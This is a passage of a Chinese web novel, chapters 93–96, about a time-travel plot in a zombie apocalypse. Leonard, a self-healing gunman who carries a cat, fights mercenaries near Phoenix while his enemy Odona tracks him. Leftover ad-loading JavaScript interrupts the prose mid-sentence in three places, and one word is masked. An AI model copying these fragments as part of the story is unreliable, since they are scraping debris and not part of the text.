“诗意的说法是,所有存在和不存在的时间线都缠在了一起,变成一团混沌,危险之处则在于,时间并不是毛线,它蕴含着巨大的能量。” “能别太诗意吗?” “简单地说,当无穷的可能性不仅仅以量子态叠加,而是在客观现实中呈现确定的叠加态,时间大爆炸就会发生,所有事情都在同时发生,也在同时终结。” 披萨店里暖风开得很足,招牌烤芝士香肠披萨和炸鸡的香味弥漫在空气中,闻起来舒服极了,莱纳德忙着打点五脏庙,实在很难分神去理解时间坍缩这种抽象的概念。 不过他还是捧场地追问:“别吓唬我,你是想告诉我时空旅行会导致时间大爆炸吗?”一边把薯条裹满番茄酱塞进嘴巴里,没有半点被唬住的样子,“先说好了,我可没那么容易退出。” 那时以利亚是怎么回答的来着? 莱纳德的记忆总是在这里卡壳,类似的外星异闻以利亚其实提过不少,什么核能手枪啦,精神力武器啦,虫族战争啦,一讲起来就没完没了,莱纳德多半左耳朵听右耳朵出,他在大学里有个微积分老师也喜欢高谈阔论,莱纳德总暗暗担心他讲得兴起会把粉笔吃下去。 忙着旅行的那段日子里,他的确没思考过这个听起来无比宏大的“时间坍缩”理论,身边有位无所不知的队友,还何苦费神呢? 直到末日真正降临,他才有足够的时间来思考发生的一切,思考如何找回他的天才队友。 远远地看到斯科茨代尔城的塔楼尖顶时,太阳正好升到头顶,驱散了空气中灰蒙蒙的雾,道路边的野草丛里有几只丧尸在缓慢游荡,看上去昏昏欲睡。 莱纳德停下车,取出望远镜观察城里的情形,塔楼顶当然有观察哨,不过这个时间点正是他们换哨午休、注意力最不集中的空档期。 机会稍纵即逝,他必须尽快穿城过去。 “如果计划出了任何岔子,你知道该怎么做吧?”莱纳德把档推上去,让车子滑动起来,一边警告地看了眼坐在副驾驶上的路易斯,后者懒洋洋地靠着车窗,红头发在阳光下看起来跟愤怒的小鸟似的。 “知道,对我你还有什么不放心的?” “这话从偷车贼的嘴里说出来,我有什么好放心的?” “八百遍了都,这事算翻不过去了是吧?” “你知道就好。” 莱纳德这辆斯巴鲁的发动机估计年纪比他还大,进排气管也松动了,一点火就嗷嗷咆哮,很难实现莱纳德偷摸进城的最初愿望。 幸好他还有备用计划。 希望老天爷是站在他这一边的。 “看你的样子,一定也度过了很精彩的六个月咯?”汽车朝斯科茨代尔驶去时,路易斯这么问道。 莱纳德目不斜视:“我们对精彩的理解恐怕大不相同。” 路易斯哈哈一笑:“得了吧,天启降临,丧尸横行,哀鸿遍野,再看看咱们,优哉游哉,身无挂念,遇贼抓贼,见鬼打鬼,这不是精彩是什么?” “无意冒犯,但你听起来像个十足的混蛋。” “哈,如果每次有人骂我混蛋都给我一块钱,我已经是个亿万富翁了。”路易斯伸手拨了拨额前的头发,斜眼乜向莱纳德,“但你不是天生的混蛋,我看得出来,你只是被迫变成了混蛋,唔,无意冒犯,不过眼下这世道,不是混蛋的十个里有九个连尸体都腐烂了。” 莱纳德嘴巴上仿佛多了道看不见的拉链似的,一言不发。 路易斯识相地闭上嘴,伸手扭开车载电台的旋钮,皇后乐队的《现在请别阻止我》立刻倾泻而出——我是划破天空的流星,我是超越戈黛娃夫人的飞车。 我将冲、冲、冲! 我无法阻挡,我在天际燃烧,耶! 路易斯跟着哼了几句,忽然猝不及防地开口问道:“你失去了什么人?” 莱纳德没说话,眼睛却霍得睁大了。 车载电台里,弗莱迪·默克里正动情地唱着,“我像一颗原子弹就要哦、哦、哦、哦——爆炸咯”,听起来不知怎地有些滑稽。 “坏话题,我知道。”路易斯摆手做了个抱歉的手势,却毫无就此打住的意思,主动掀开自己的老底:“我失去了所有人,也就是说,我奶奶,还有我的狗,露西,可怜的老东西,我不得不亲自开枪打穿了她的脑袋。” 莱纳德听不出最后一句是在说他奶奶还是他的狗,但无论哪种情况,他的语气都平静得仿佛在讨论一部剧情不讨喜的电影,连眉毛都没有牵动分毫。 这种特质他在不少人身上见过,末日来临后的头几个月或许还有人哭泣、有人崩溃,但当你失去太多时,那些残留下来的东西会结成厚厚的壳,把一切不该有的情绪隔绝在外。 莱纳德称之为末日自我保护机制,他欣赏这种残酷的冷静,就像他欣赏皇后乐队才华横溢的吉他手,但这并不代表他乐意跟路易斯谈论这些话题。 末日就是末日,没什么好说的。 弗莱迪唱到“我没有犯罪,却已认罪服刑”时,一只灰扑扑的俄罗斯蓝猫忽然从路边窜出来,跳到了路当中,不偏不倚地挡住了斯巴鲁的去路,然后卷起尾巴卧了下来,支棱着脑袋,用圆溜溜的眼睛瞧着他们。 莱纳德用力踩下刹车,斯巴鲁像只被踢了一脚的狗似的往前一杵,猛地熄火了,安全带勒得莱纳德胸口生疼。 “妈的!” 路易斯吓得大叫一声,从椅背上弹起来:“这小东西从哪儿冒出来的?” 他俯身凑近挡风玻璃,眯起眼睛:“你看到那项圈了吗?上面还别着花,新鲜的,现在谁还有功夫养花?真是活见鬼,现在谁还有功夫养猫?” “别理它。”莱纳德似乎早已见怪不怪,轻踩油门,慢慢转动方向盘,从猫咪旁边绕了过去,那猫也跟着转动脑袋,圆溜溜的眼睛始终瞧着他,直到后视镜里再也瞧不见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那个小小的身影。 “老兄,”路易斯扭头看着他,认真地评价道,“你神经可真粗。” 莱纳德盯着路面:“过了这么久,别告诉我你没见过被感染的动物。” “那也是乌鸦、老鼠,还有丑到爆的流浪狗。”路易斯交叉双臂,不赞同地说道,“但从来没有猫,要我说,猫比人聪明得多,搞不好最后活过这场灾难的除了蟑螂之外就是那些狡猾的小东西。” “并不是所有猫都有你说的本事。” “至少被感染的动物不会像刚才那只猫一样干净,说老实话,那只猫洗澡肯定比咱俩还勤快,你没看到它身上的毛吗?” “没有。”莱纳德简短地回答,十分希望这个话题能够尽快翻过去。 但路易斯没有满足他:“也许那个传说是真的,凤凰城里住着一位女巫,她的力量能够保护城市不受灾难侵袭。”他往椅背上一靠,越说越离谱,“想想看,斯科茨代尔离凤凰城不远,说不定那只猫是被巫术点化的灵猫呢?” 莱纳德再次踩下刹车,把车停在路边,关掉音响,扭过头对路易斯说:“下车。” “什么?”路易斯左看右看,“还没有到塔楼,我……” 莱纳德打断他:“我们被发现了,有一小队人正从十点钟方向赶过来,你还有十秒钟时间下车。” “什么?有人来了?”路易斯扭头朝十点钟方向看过去,却只看到几栋破败的矮楼,他竖起耳朵,也什么都没有听到。 莱纳德不耐烦地拍了下方向盘:“还不快滚!” “好吧,这就滚。”路易斯叹了口气,解开安全带,推开了车门,一边啰啰嗦嗦地说道,“做个聪明人,老兄,别跟大兵哥来硬的,不然你很快就会发现自己正追着脑袋满地乱跑,我是说,在你变成丧尸之前。” 下车后,这个讨厌鬼还不忘扒着车门从车窗里伸进头来,语调轻佻地说:“我会想你的,约翰老哥,虽然你满嘴里没一句实话,但我一向珍惜……” 他看到莱纳德伸手换挡,立刻往后一仰,但还是险些被突然窜出去的汽车把脸上所有突出的部位给剐掉。 莱纳德从后视镜里看到路易斯朝他竖起中指,忍不住笑了笑,他喜欢这个嘴贱的年轻人,不为别的,就冲那股旺盛的生命力,哪怕末日的威胁都未能把他身上的朝气冲刷干净。 希望他最后能活下来,或许再养一只狗。 路易斯很快钻进街边的小店里,隐藏了行迹,莱纳德驾驶着斯巴鲁,继续朝塔楼的方向行进,仿佛丝毫没意识到武装小队的靠近。 也许是那只猫把武装小队的人引过来的——这个念头滑进莱纳德的脑海,像鳗鱼忽然在水中放电。 听起来很荒诞,不是吗?但他知道那是阿西莫夫,一个极具顽强精神的小东西,不达目的誓不罢休。 它一直追随着他,不知疲倦似的,从缅因州一路到亚利桑那,总是在莱纳德最没防备的时候出现,仿佛它不知怎地竟然拥有了某种令人惊叹的预见能力,总是能悄没声地给他捣乱。 更不用说它还奇迹般地躲过了丧尸和病毒,甚至连项圈上的玫瑰花都仍像第一天见到时那么娇嫩。 路易斯大概都没意识到他的随口猜测竟会那么准确——阿西莫夫并不是普通的猫咪。 它是唯一有可能阻止审判日到来的存在。 而莱纳德决不允许那种情况发生。 94.第三章:基地惊魂 莱纳德并不是在靠近塔楼的地方跟武装小队相遇的,比那要快得多,几乎是放下路易斯后刚转过一个路口,莱纳德的耳朵就捕捉到了雷明顿870木质泵动膛上膛的独特脆响。 长期作战的本能让他立刻肌肉紧绷,但握住方向盘的双手却没有一丝放松,直到呼喝声在车外响起。 “停车!立马靠边停车!” 一个男人的声音借着扩音器从高处冲他大吼,伴随着大口径子弹上膛的动静和皮靴在水泥地上磕出的“橐橐”声,可以说震慑力十足。 后来莱纳德才看到那个隐藏在附近高楼上的观察点,狙击点则在另一个方向,位置很巧妙,如果他一意硬闯的话,狙击手大概会乐意在他两眼之间开出一个漂亮的洞来。 莱纳德识趣地把车停下,前方有一支五个人的小队,全副武装,当然了,从右视镜里还能看到另外三人正借着建筑的掩护朝他靠近。 “我只是路过的平民,没有感染。”下车后,莱纳德对武装小队的领头人说,对面至少有五把枪正指着他,如果不算楼上的狙击枪的话。 领头是个面容黝黑、肌肉发达的男人,靴子和胸挂虽然破破烂烂,但都是军用的,从他握枪的姿势也不难看出经受训练的痕迹。 “把手举起来,现在关上车门,从车门那儿走开,再走几步,够了。”领头人语气冷硬地命令道,然后说,“是否感染由我们来判断。” 他挥了挥手,身后立刻有个人跑上来,拿着一个对讲机似的仪器朝莱纳德晃了一下,只听一连串“滴滴”声,仪器上的几个小绿灯依次亮起,另外几个则呈黄色。 “二级暴露,未发现感染指标。”那个人看着仪器说道。 “姓名。”领头人冷峻的表情没有丝毫松动。 “约翰·史密斯。” “说明你的来意。” “借道。”莱纳德同样短促地回答。 领头人冷冰冰地说:“基地不欢迎外来者,你可以调头上10号州际公路,然后爱上哪儿去上哪儿去。” 莱纳德毫不退缩:“我的车需要汽油,我的后备箱里有补给物,药品、针线、食物,我们可以交换。” “看起来你是有备而来,约翰·史密斯。”领头人用嘲讽的语调念出这个名字,锐利的目光上下打量着莱纳德,仿佛在判断他是不是在说谎,然后揪过自己领口的对讲机,飞快地说了几句话。 莱纳德没听清楚每一个字,但他的确听出了暗语,显然,这座基地里有着一支武装力量,训练有素、一丝不苟,远超过对付丧尸的需要。 在一个如此临近凤凰城的军事基地里,他们要对付的是什么? “我们需要你打开汽车后备箱,先生。”领头人大概通过通讯装置得到了上级的指示,摆动枪托,对莱纳德做了个命令的手势。 “怎么,乖乖打开后备箱,好让你们抢走我所有的补给品吗?”莱纳德礼貌地笑起来。 他在路上见到过不少在驾驶工具上设置巧妙陷阱的机灵鬼,在,很早就学会了永远别随便乱动别人的后备箱,而对面几个人的表情也足够说明,他们还没有愚蠢到会轻举妄动。 莱纳德的目光扫过指着他的几条枪管,又谨慎地补充道:“当然,你们现在就可以开枪,在我身上开出八个或者九个枪眼,随你们高兴。但我敢以上帝的名义保证,除了一辆快要报废的汽车,和一具搞不好会‘复活’的尸体之外,你们什么都得不到。” 领头人用鼻子发出嘲弄的声音:“先生,没必要这么紧张,我们不是强盗。” “强盗也没你们热情好客,不是吗?”莱纳德反唇相讥,他抬起头,眯起眼睛,哼笑,“说真的,今天阳光不错,楼上瞄准镜的反光都快要把我晃瞎了。” “你不是平民。”领头人用一种陈述事实的语气说道,“我看得出来,你也并没有费力掩饰这点,不是吗?” 他顿了顿,没有等到莱纳德的回答,于是又说道:“我们必须采取相应措施,为了基地所有人的安全。” 莱纳德温和地笑了笑,他知道对于军事队伍的领头人而言,这句话已经相当于妥协了,接下来只需要按照计划行事。 但在他说出任何话之前,一只灰色的、毛茸茸的小动物突然窜到了他跟领头人中间,在柏油路上砸出“咚”的一声,听在众人耳朵里,当真不啻一声惊雷。 如果说,对峙双方之间空气中那股无形的压力就像钢丝一样紧绷的话,这只动物的忽然闯入就如同一把小小的剪刀,将钢丝干脆利落地一刀切断。 也许有人把它当成了变异老鼠,也许有人把它当成了手榴弹,具体细节无从得知,但总之,有个倒霉家伙为此孩子气地大叫起来,然后,另一个人便扣动了扳机。 枪声响起—— “如果你说的是真的,时间旅行会导致坍缩,或者时间大爆炸之类之类的,那为什么我们还能坐在这里吃东西、聊天?”披萨店里,莱纳德这样问以利亚。 “你搞错了因果关系,我亲爱的朋友,并不是时间旅行导致了时间坍缩。”以利亚回答,“坍缩一直在发生,这是个缓慢而不可避免的过程。” “有多缓慢?” “足够慢,就像对于跳蚤来说人类的衰老不可见一样,人类也同样无法预测到时间的衰老。” “所以这是上帝该担心的事情,我是说,如果上帝懂得科学的话。” “好了,别拿上帝开玩笑,我想说的是另一件事。” “什么事?” “一个本该正常老去的人类也完全有可能突然被车撞死、被水淹死、被炸弹炸成碎片,不是吗?” “你再大点声,搞不好会立刻见到人类被披萨饼活活噎死,拜托,注意点好吗?这可是公共场所。”莱纳德翻了个白眼,又说道,“不过我明白你的意思,时间坍缩也会突然发生,对吧?催化剂是什么?” “不恰当的时空谬误。” “等等,时空谬误还有恰当的?那算哪门子谬误?” 以利亚没理会他抖机灵,自顾自说道:“时间并不是一成不变的,这是我们得以进行时空旅行的基础,但同时,时间也并非可以任意改写,那些决不允许更改的,我们称之为固定时间点。” “一旦固定时间点发生异变,产生的影响就像多米诺骨牌效应,不,还糟糕一万倍。” 他忽然笑了笑,问莱纳德:“你读过《11·22·63》吗?杰克救下了约翰·肯尼迪,却在回到2011年后发现整个世界都陷入了绝望和疯狂。” 莱纳德似懂非懂:“约翰·肯尼迪的死是固定时间点?” “没错。” “如果那再派一名时间特工回到1963年杀死肯尼迪呢?是不是就能够修正这个时空谬误?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “还不明白吗?莱纳德,最大的问题从来都不是约翰·肯尼迪,而是杰克。” “唔。” 直到现在,莱纳德才真正明白,是他开启了疯狂。 枪声过后。 周遭陷入一种诡异的寂静,只有极细微的蛋白质燃烧时发出的“毕剥”声像小飞虫似的钻进耳朵。 莱纳德低下头,看着自己胸口黑乎乎的血洞,硝烟的味道跟血肉混合在一起,意外地让人想起德克萨斯风味烤肉。 猫在两步之外抬头望着他,不知是不是被枪声吓到,浑身的毛都炸了起来,耳朵平平向外展着,一副随时打算竖起尾巴逃跑的样子。 莱纳德叹了口气,抬起头,遗憾地说:“我们本应该好好谈谈,为什么非得动手呢?” 不等他第一句话说完,领头人就开枪了,军旅生涯和在末日生存的宝贵经验让他能够第一时间保持冷静,是的,有些丧尸隐藏得很深,连分析仪都探测不出来,在这个疯狂的世界里一切皆有可能,也许有的丧尸还会进化出理智,谁知道呢? 无论丧尸与否,毫无疑问的是,眼前这个家伙很危险。 第一枪瞄准了莱纳德的头,但子弹却落空了。 莱纳德嘴上还在说着“好好谈谈”,人已经像骤然松手的弹簧那样冲了出去,手里的索林根战术刀利落斜切,眨眼便在领头人的咽喉划出一道十公分的口子,血浆像万圣节捣蛋喷灌一样喷射出来。 距离被拉近到无法开枪,小队剩下几个人反应也不慢,两个人后退拉开距离,另外两人掏出匕首和甩棍,劈头盖脸朝莱纳德招呼过去。 后肘在领头人后背一撞,莱纳德顺势起脚正蹬,把当先冲过来的人踹了个跟头,紧跟着锁肘拿肩,把另一个人捞到身前,牢牢扼住对方的脖颈,当做人肉盾牌挡在自己身前。 “把枪放下!我不会说第二遍!”莱纳德单臂扼颈,战术刀紧紧贴着动脉,另一只手飞快地从对方的武器带里拔出一把鲁格BX-15,顶到了对方的太阳穴上。 “你已经被包围了,反抗没有意义。”对面的人似乎丝毫不为所动,可声音却仿佛被踩中脖子的鸡,尖锐刺耳。 “还是省省子弹吧,你们难道……” 身后,装了消音器的手枪听起来跟BB枪一样可笑,但9毫米子弹击中脊柱的滋味可一点都不好笑,莱纳德及时转身,人肉盾牌在他手里登时像团烂泥似的倒了下去,与惨叫声一同响起的还有一些别的动静,但被乱枪完全掩盖住了。 “该死!” 莱纳德撒手把人肉盾牌朝后面扔出去,就地打滚,跪姿据枪,来不及瞄准便朝前面的三人连连开枪,一边往掩体跑去,眨眼间清空了鲁格弹匣里的15发子弹。 子弹舔过空气的“嘶嘶”声像极了毒蛇吐信,也许只是出于他的臆想,因为一切都发生得太快,事后莱纳德才清点出自己居然中了5枪,除了胸口被□□打出的狰狞伤口和无数弹片之外,还有一枚.45口径子弹完整地卡在他小腿肌肉里,废了好大功夫才取出来。 难怪单枪匹马勇闯敌营、枪林弹雨毫发无伤的戏码只有在漫画和电影里才看得到。 连滚带爬地钻进旁边的小巷里时,莱纳德无奈地想,运气这种东西,从来都不是给他准备的。 而当看到阿西莫夫蹲坐在垃圾桶上时,他居然也并没有感到太吃惊。 95.第四章:薛定谔的猫 “莱纳德,还记得你告诉过我,你小时候的外号叫‘四眼莱尼’吗?” “那只是个近视眼外号而已,地球人笑话,很无聊,很没品,而且不代表我真的长了四只眼睛,好吗?” “也就是说你戴过眼镜,没错吧?” 在得到肯定回答后,以利亚像个铆足劲要打击学生信心的中学老师似的,继续追问:“戴了几年?度数多深?既然你现在不需要戴眼镜,那是在什么时候做过视力矫正手术?” 莱纳德被问懵了,眼睛睁得大大的,半天才嗫嚅着回答:“我……我不记得了。” 他脑海里骤然响起“哗啦啦”的声音,好像翻书页一样,一同翻涌起来的还有无数画面,校霸里德那张长满青春痘的脸清晰得好像HD电影,一帧一帧地从眼前闪过,那群讨厌鬼把他按在地上狠揍的时候嘴里都喊了些什么? ——“哭吧!四眼莱尼,小心别把你妈妈的围裙尿湿了。” ——“别搞错了,没人要的莱尼哪儿来的妈?” ——“喂,你妈生完你就跟别人跑啦,再哭她也不会回来。” ——“谁知道呢?说不定过几年还会邮寄另一个小杂种回来呢,一个跟你一样,只会哭唧唧的四眼小杂种。” “也许戴过,也许没戴过。”莱纳德下意识扶了扶鼻梁,却手指一滑扶了个空,他忍不住问,“这重要吗?” “远比你想得更重要。”以利亚语气郑重,目光仿佛穿过莱纳德,在看着什么别的东西。 “你之所以记不清楚,是因为在时空谬误下,你戴眼镜和不戴眼镜的状态是叠加的,二者都已发生过,并将相互独立地演变下去,直到下一个分支出现,引发更加复杂的演变,明白我的意思吗?” “额,就像薛定谔的猫?” “可以这么理解,现在想象一下,除了你和你的眼镜之外,薛定谔还在盒子里装了无数只猫,在盒子被打开前,每只猫都处于死-活叠加的状态,而死活仅仅是其中一个维度。” “我不明白。” “简单来说,时间承受不了无法穷尽的可能性,当盒子里的猫超过极限,必然会导致时间坍缩。” “不,我不明白的是,难道这些不是假设?难道我们已经处于时空谬误下了?” “是,也不是。” “为什么?难道我们生活在多元宇宙?别光摇头,还是说你有更离谱的理论,我们其实是哪个三流小说家笔下的角色,命运走向全凭他接下来的心情决定?所谓的时间坍缩是因为那个傻逼想不出更好的办法解决自己制造的文字垃圾?” “这就是你异想天开了。” “那就拜托,别再打哑谜了好吗?” “不能,我说得越多,情况就会越复杂。” “为什么?” “因为这只是一条夭折的时间线,莱纳德,我们从没踏足过奥普拉星球,这场对话也从未发生。” 斯科茨代尔城的昏暗小巷里,莱纳德和垃圾桶上的猫咪四目相对,有那么一瞬间,他身后的枪声都仿佛加盖了一层滤镜,变得浑浊、遥远起来。 他想起以利亚,想起奥普拉星球,想起芝士披萨饼在舌头上留下的咸香味,他甚至还记得那天服务生小姐穿的黄色围裙,很衬她甜美的笑容。 有谁敢说那从未发生过呢? “总在关键时刻坏我事,猫咪都这样,还是只有你?”莱纳德嘲讽地对阿西莫夫说,他头发上溅了别人的血,正滴滴答答地流到脸上,他随手用袖子一抹,半张脸顿时精彩纷呈。 阿西莫夫低下头,认真地舔起爪子来。 莱纳德垂下头,他胸口的枪伤正在缓慢恢复——缓慢只是个相对概念,毫无疑问,换作平时这一枪会直接送他去见约翰·肯尼迪,算他走运。 他捏起衣服前襟,以免布料嵌在新生的血肉里,这种事不是没发生过,但一两次之后,你就知道该怎么避免了。 他口袋里还有一盒雷明顿9毫米子弹,这可是个坏消息,剩下的弹药和补给都留在汽车后备箱里,希望不会便宜了那群雇佣兵。 看来之前得到的情报没错,斯科茨代尔并不是真正的幸存者之城,如果仔细观察,就会发现城里不仅没有丧尸,也完全不见老弱妇孺的影子——奥多娜·霍普把它作为凤凰城的哨所,不知从哪里搜罗来一群雇佣兵在两座城里巡逻守卫、放哨预警,正如她的一贯作风。 自从奥多娜逃到凤凰城,一切似乎都在朝着注定的方向发展,莱纳德能感受到那股时间努力自我修复的力量如同拧紧的弹簧,一旦松手,便将无可阻挡。 必须赶在那之前杀了奥多娜,不惜一切代价。 莱纳德冷着脸,思索接下来的行动,把子弹一枚一枚推进弹匣里,巷子外的脚步声让他脑子里闪过不止一个残忍的想法,每一个都包含惨叫和鲜血。 武装小队幸存下来的人并没有立刻发起下一轮进攻,但站在这种小巷子里,被手榴弹和炸药问候也只是个时间问题。 莱纳德伸手一把捉住阿西莫夫的后颈,把猫整个提起来,冲它磨了磨牙:“小东西,我都走到这一步了,你以为你还能阻止得了我吗?” 他从地上随便捡起块石头,大吼着“手榴弹”朝巷子外扔去,可惜不能真把那群大兵炸成碎片,但吓他们一跳也好,他拔腿向小巷深处跑去,不顾阿西莫夫在他怀里挣扎着喵喵大叫,很快便消失在了街角。 希望路易斯能够按计划行事。 凤凰城,一如既往的艳阳高照,即便是末日也未能削弱这座城市逼人的火热。 奥多娜讨厌炎热干燥的地方,更讨厌那些总也死不掉的行尸走肉,充足的阳光照射好像只会让它们更活跃、更不知疲倦,她不得不花很多精力在城防上,才能挡住那些嗷嗷乱叫的讨厌鬼。 为什么要在烈日下逃亡? 为什么偏偏是凤凰城? 就因为北纬33°31’西经112°04’是以利亚那串愚蠢的银行密码SVN904-233对缅因州波特兰坐标的映射结果?就因为以利亚把终结之地选在这里一定有非它不可的理由? 奥多娜每每念及至此都忍不住要叹气,当初的顿悟没错,她可真是该死地被拉上了贼船。 而如今 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贼已死了,她连个算账的地方都没有。 奥多娜盘腿坐在扶手椅上,后背舒服地靠着丝绒靠垫,却一点也没有感到放松。 她孤身逃亡了整整一百七十五天,九死一生,总算摆脱了莱纳德鬼魅一般的追杀,来到凤凰城着手筑建防御工事,但眼看审判日在即,可用的资源却少得可怜,更不用提这一路上还有数不清的丧尸、变异野兽,给她制造了无数麻烦。 那个金毛小子一直很有做杀手的潜质,不是吗?不声不响,却比花岗岩更坚毅,第一次见面奥多娜就有这种感觉,后来她才发现,这个人还顽固得像块茅坑里的石头。 整个世界都陷入疯狂,绝望的、无可救药的疯狂,就因为他舍不得他的朋友。 以利亚曾经警告过奥多娜,决不能对莱纳德透露太多。 “他比看上去要聪明,也比看上去更危险。”以利亚这么评价莱纳德,到后来奥多娜也不得不承认这一点,她被他那张漂亮的脸蛋给蒙住了。 波特兰的意外发生后,莱纳德真就靠着碎片一样的细节,把真相拼凑了出来,从他想通一切到末日降临间隔了多久?更短,也许连半天都不到。 这家伙冷静得像个外科手术医生,残忍得像瓦拉几亚大公弗拉德三世,恐怕连恺撒都做不到他这么不动声色。 “莱尼不会轻易放弃,他是那种不见底牌誓不罢休的人。”以利亚告诉她,“等到了最后关头,唯一的办法就是藏好你的底牌。” 奥多娜摩挲着手里的牛皮本,本子里的纸页泛黄,仿佛被无数次地翻阅过,可上面却偏偏连一个字都没有。 “把它当做审判日报警器,只要本子里的内容没有恢复,就说明事态尚未脱轨,一切仍在按计划进行。”以利亚把牛皮本交给了她,“一旦字迹显现,就要做好面对最糟糕结果的准备。” “最糟糕有多糟糕?”奥多娜问。 以利亚看着她,目光深沉、无比清醒:“霍普,我很抱歉,但你也许不得不杀了莱纳德。” “长官,斯科茨代尔发现目标踪迹,携带武器、驾驶车辆,是否消灭?”通信频道里,尼古拉斯用暗语向奥多娜请示,打断了她逐渐飘远的思绪。 “目标是否有同伴?” “没有。” 稍一沉吟,奥多娜便命令道:“不要动用武力,尽量与目标周旋,支援马上就到。” “明白。” “找机会在他的载具上安装跟踪器,必要时可放行,追踪信号实时反馈凤凰城。” “明白。” 奥多娜对斯科茨代尔的武装能力一清二楚,他们也许能够拖住莱纳德,但绝对阻止不了他,可怕的自愈能力已经让莱纳德变成了挨枪子不眨眼怪物,而他显然也不介意让自己的枪口下再多几个亡魂。 与其两败俱伤,不如以逸待劳。 唯一乐观的是,距离审判日只剩不到半天,只要拖住莱纳德足够长的时间,他自己终究会明白过来,已经发生的无可改变,一切终将回归正轨。 然而没有想到,等奥多娜部署好支援力量,尼古拉斯的小队竟然彻底失联了。 96.第五章:高塔 “你还在做那些梦吗?” 莱纳德疑惑地看着以利亚,对方穿着一身深灰色的西装三件套,头发向后梳得一丝不苟,下巴上的胡茬刮得干干净净,那双灰色的眼睛透过一副金丝眼镜望向他,目光里有种礼貌的探寻神色。 两人中间隔着一张白色亚克力桌子,很窄,设计得很有艺术感,让人想起漂浮的彩带。 莱纳德低下头,投入地盯着桌面看了一会儿,直到以利亚耐心地重复:“莱纳德,你还在做那些梦吗?”声音出乎意料的温和。 “什么梦?”莱纳德抬起头。 “就是你讲给我的那些,关于时空旅行、外星人,还有多元宇宙。”以利亚微微一笑,双手放松地搁在桌上,十指指尖互相顶着,好像他正拢着什么看不见的东西。 莱纳德注意到他的袖扣是一对漂亮的石头,琥珀色的石英被精心雕刻成十六面体,打磨抛光,在头顶惨白的灯光下呈现出蜂蜜牛奶似的光泽。 “多元宇宙并不存在。”他最后漫不经心地说。 以利亚轻轻地“嗯”了一声,似乎并不在乎莱纳德回答是什么,继续问道:“那么,时空旅行和外星人真的存在咯?” “明知故问。”莱纳德眨眨眼睛,“你不就是外星人吗?” 以利亚惊讶地笑了一声,笑声中却并不含恶意:“我出生在密歇根州,底特律附近的一个小镇上。”他顿了顿,似乎在克制即将涌起的笑意,沉声说,“是一名合法的地球公民。” 莱纳德想了想,平静地回应道:“狗屎。” 他闭上嘴,继续出神地盯着那对袖扣,漂亮得好像威士忌里的冰块,你只要轻轻晃一晃酒杯,冰块就会发出令人愉快的清脆响声。 他忽然觉得很渴,舌头滑过干裂的嘴唇时几乎被翻起的死皮划伤,喝水大概是一千年前的事情了,而眼下他什么也没有,食物、水、一张柔软的床,哪怕只是个靠垫也好,都好过在这种闷热的天气里孤身跋涉。 亚利桑那州的沙漠原本覆盖着灌木和沙葱,但那些可怜的绿色植物是末日浩劫下的第一批牺牲品,紧跟着便是更加极端、恶劣的天气。 如今,在这片沙漠早已变得光秃秃,只有在曝晒下不断肿胀、腐烂的人和动物尸体散落在各地,有时候他不得不绕一段路,好躲开随时可能炸开的灰绿色巨人观。 后者也并不是没有发生过。 莱纳德眯起眼睛,在阳光下辨认凤凰城的方向,他离开斯科茨代尔至少十多英里了,没浪费一颗子弹,全凭两条腿,不得不说这是很出色的成绩。 身上的枪伤已经完全恢复,除了失血和脱水令他有些眩晕外,没什么别的影响。 如果路易斯那家伙没有掉链子的话,应该在确认安全后启动了那辆被安装过定位器的斯巴鲁,得意洋洋地上路了。 莱纳德很清楚路易斯开上车后绝不会冒险来找他,他从来没信任过这只红毛鹦鹉——这本来也是计划的一环——更不关心他会去哪儿,只要这家伙能把奥多娜和她那群雇佣兵绕得团团转就行。 再退一步讲,就算路易斯是靠善良和真诚在末世存活下来的天使宝宝,他留给路易斯的碰头地点也跟他此刻的前进方向南辕北辙,即便是真天使也不可能读得出他脑子里的想法。 换句话说,现在知道他确切位置的,除了他自己,就只有怀里这只猫。 莱纳德垂眸看看躺在自己手臂里、舒舒服服睡大觉的蓝灰色猫咪,那朵玫瑰花仍如初见时那么娇嫩,仿佛永恒定格在了某一瞬间,不再受到任何外界影响。 毫无疑问,阿西莫夫是个喜欢坏事、总能出人意料的小东西。 但也是个暴风雨夜中灯塔般的存在。 这段日子里,他脑子里始终挤满了许多发生过的、没发生过的、压根不该发生的也就是被称之为夭折的时间线的场景……如果《暮光之城》里的那两个吸血鬼真像作者所描述的拥有预知可能性、听到别人心声的超能力,他们早该疯掉了。 这是诅咒,而非天赋。 最近莱纳德已经习惯了那些乱糟糟的声音,甚至能够像个高明的聋子一样把它们隔绝在外,但也许是临近审判日的缘故,有时候,他会觉得自己仿佛困极了在做梦,闭眼陷入假寐的刹那才是回归现实,可当他再睁开眼,脚踏实地的感觉便又回归心头,就像他此刻皮肤感受到的阳光一样真实、可靠。 ——“因为死神从不掷骰子,蠢货!” 以利亚在夭折的时间线里冲他大喊,他估计还喊了些别的什么,莱纳德及时把他调成了“静音”。 也许这种情况到了凤凰城会更糟,莱纳德在心里提醒自己,务必记住,眼前这只猫能提醒他何为真、何为假。 又徒步了几十分钟,莱纳德开始觉得自己好像出埃及的摩西,在万里黄沙的西奈半岛整整流浪了四十年,可摩西至少还有自己的族人,他却只有一只不爱走路的猫。 好在烈日总算收敛了气焰,空气中的闷热不减,可也不再灼人。稀薄的云层慢慢笼过来,太阳好像个银杏色的亮片,薄薄地贴在天边。 但遮蔽阳光的不止是云,莱纳德仰起头、眯起眼睛,当他看到天边盘旋着的影子时,不禁露出了一丝微笑。 终究还是来了。 奥多娜并不是在发现牛皮本上的字迹开始显现后才明白自己中招了,当β小队赶到冲突发生地点,既没有找到莱纳德,也没有找到他那辆快要报废的斯巴鲁时,奥多娜就知道,自己已经一脚踏进了那家伙精心编织的陷阱里。 而牛皮本的变化更无异于雪上加霜。 奥多娜盯着纸页上的黑色墨水,一个一个字母和数字像不听话的跳蚤一样在她眼前跳来跳去,她明明懂得英文,这会儿却卡了壳,半天才读懂扉页上的两行字—— 2018年12月20日,星期四,故园鸟镇迎来暴风雨夜。 一切都开始了。 用不着把整个本子翻一遍,奥多娜也知道这是莱纳德的日记本,他以一种理科生常见的严谨、简练的方式仔细记录下跟以利亚旅行中发生的事情。 